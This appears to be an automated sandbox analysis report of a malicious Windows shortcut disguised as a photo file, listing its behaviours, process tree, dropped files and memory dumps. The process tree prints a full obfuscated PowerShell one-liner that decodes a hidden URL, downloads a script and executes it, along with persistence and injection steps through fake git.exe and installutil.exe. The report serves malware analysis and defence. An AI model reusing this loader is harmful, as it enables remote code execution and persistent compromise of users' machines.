Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
27/07/2026, 12:14
General
- Target photov_329494199046.lnk
- Size 1KB
- Sample260727-pergpasscs
- SHA256 fd591d4be34702b97a7f02b9aa9517c03ced3ccca6b49e272327be3f9f49ed2c
Malware Config
Signatures
- Badlisted process makes network request 9 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 4 IoCs
- Loads dropped DLL 22 IoCs
- Adds Run key to start application 2 TTPs 3 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 3 IoCs
- Suspicious use of AdjustPrivilegeToken 25 IoCs
- Suspicious use of WriteProcessMemory 19 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_329494199046.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -c "$jobf1h=62;$hwuk_ek=4;$qz60ip=87;$c237ol=[bigint]::Parse('929208012523936764252911250778818183813830309');$hbtvcb_q7=[bigint]::Parse('919256320123229698930903026356001628008756012');$c237ol=$c237ol-$hbtvcb_q7;$swdgg6=@();while($c237ol -gt 0){$swdgg6+=[char][int]([bigint]::Remainder($c237ol,256));$c237ol=[bigint]::Divide($c237ol,256)};.([scriptblock]::Create((irm(-join$swdgg6))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "$jobf1h=62;$hwuk_ek=4;$qz60ip=87;$c237ol=[bigint]::Parse('929208012523936764252911250778818183813830309');$hbtvcb_q7=[bigint]::Parse('919256320123229698930903026356001628008756012');$c237ol=$c237ol-$hbtvcb_q7;$swdgg6=@();while($c237ol -gt 0){$swdgg6+=[char][int]([bigint]::Remainder($c237ol,256));$c237ol=[bigint]::Divide($c237ol,256)};.([scriptblock]::Create((irm(-join$swdgg6))))"3⤵
- Badlisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\fbsgng_im_upd_tpw\git.exe"C:\Users\Admin\AppData\Local\fbsgng_im_upd_tpw\git.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Users\Admin\AppData\Local\fbsgng_im_upd_tpw\git.exe"C:\Users\Admin\AppData\Local\fbsgng_im_upd_tpw\git.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\GitWinx86" "C:\ProgramData\GitWinx86\git.exe""1⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\GitWinx86\git.exe"C:\ProgramData\GitWinx86\git.exe""2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\Temp\DCRCVDrv.sysC:\Windows\Temp\DCRCVDrv.sys1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
installutil.exe.log
__PSScriptPolicyTest_3mdnj4pu.yhy.ps1
brkfp_jwnfg_ptkjezx.zip
VCRUNTIME140_1.dll
git.exe
libiconv-2.dll
libintl-8.dll
libpcre2-8-0.dll
libwinpthread-1.dll
msvcp140.dll
ucrtbase.dll
vcruntime140.dll
zlib1.dll
DCRCVDrv.sys
memory/1168-88-0x0000000000010000-0x000000000003D000-memory.dmp
memory/2008-115-0x00007FFB4C520000-0x00007FFB4C546000-memory.dmp
memory/2008-111-0x00007FF792230000-0x00007FF79269F000-memory.dmp
memory/2008-114-0x00007FFB397B0000-0x00007FFB39866000-memory.dmp
memory/2008-113-0x00007FFB4C550000-0x00007FFB4C5A2000-memory.dmp
memory/2008-112-0x00007FFB39870000-0x00007FFB3998F000-memory.dmp
memory/2540-219-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-199-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-2021-0x0000000006E80000-0x0000000007424000-memory.dmp
memory/2540-2020-0x0000000006830000-0x00000000068C2000-memory.dmp
memory/2540-2017-0x00000000057D0000-0x0000000005836000-memory.dmp
memory/2540-127-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-129-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-131-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-133-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-108-0x0000000000400000-0x0000000000470000-memory.dmp
memory/2540-135-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-137-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-139-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-141-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-143-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-116-0x00000000053E0000-0x00000000053FA000-memory.dmp
memory/2540-117-0x0000000005530000-0x000000000555C000-memory.dmp
memory/2540-121-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-125-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-123-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-201-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-145-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-119-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-118-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-231-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-229-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-227-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-225-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-223-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-221-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-147-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-217-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-215-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-213-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-211-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-209-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-207-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-205-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-203-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-149-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-197-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-195-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-193-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-191-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-189-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-187-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-185-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-183-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-181-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-180-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-177-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-175-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-173-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-172-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-169-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-167-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-165-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-163-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-161-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-159-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-157-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-155-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-153-0x0000000005530000-0x0000000005556000-memory.dmp
memory/2540-151-0x0000000005530000-0x0000000005556000-memory.dmp
memory/4320-16-0x000002853DEC0000-0x000002853DED0000-memory.dmp
memory/4320-15-0x000002853DEC0000-0x000002853DED0000-memory.dmp
memory/4320-2-0x0000028540070000-0x0000028540092000-memory.dmp
memory/4320-10-0x0000028540790000-0x0000028540952000-memory.dmp
memory/4320-11-0x000002853DEC0000-0x000002853DED0000-memory.dmp
memory/4320-12-0x0000028540240000-0x000002854026A000-memory.dmp
memory/4320-0-0x000002853DEC0000-0x000002853DED0000-memory.dmp
memory/4320-13-0x0000028540240000-0x0000028540264000-memory.dmp
memory/4320-24-0x000002853DEC0000-0x000002853DED0000-memory.dmp
memory/4320-14-0x000002853DEC0000-0x000002853DED0000-memory.dmp
memory/4320-17-0x000002853DEC0000-0x000002853DED0000-memory.dmp
memory/4320-1-0x000002853DEC0000-0x000002853DED0000-memory.dmp
memory/4320-18-0x0000028540E90000-0x00000285413B8000-memory.dmp
memory/4320-19-0x0000028540250000-0x000002854025A000-memory.dmp
memory/4320-21-0x00000285405E0000-0x00000285405F2000-memory.dmp
memory/5912-758-0x0000000000530000-0x00000000005A0000-memory.dmp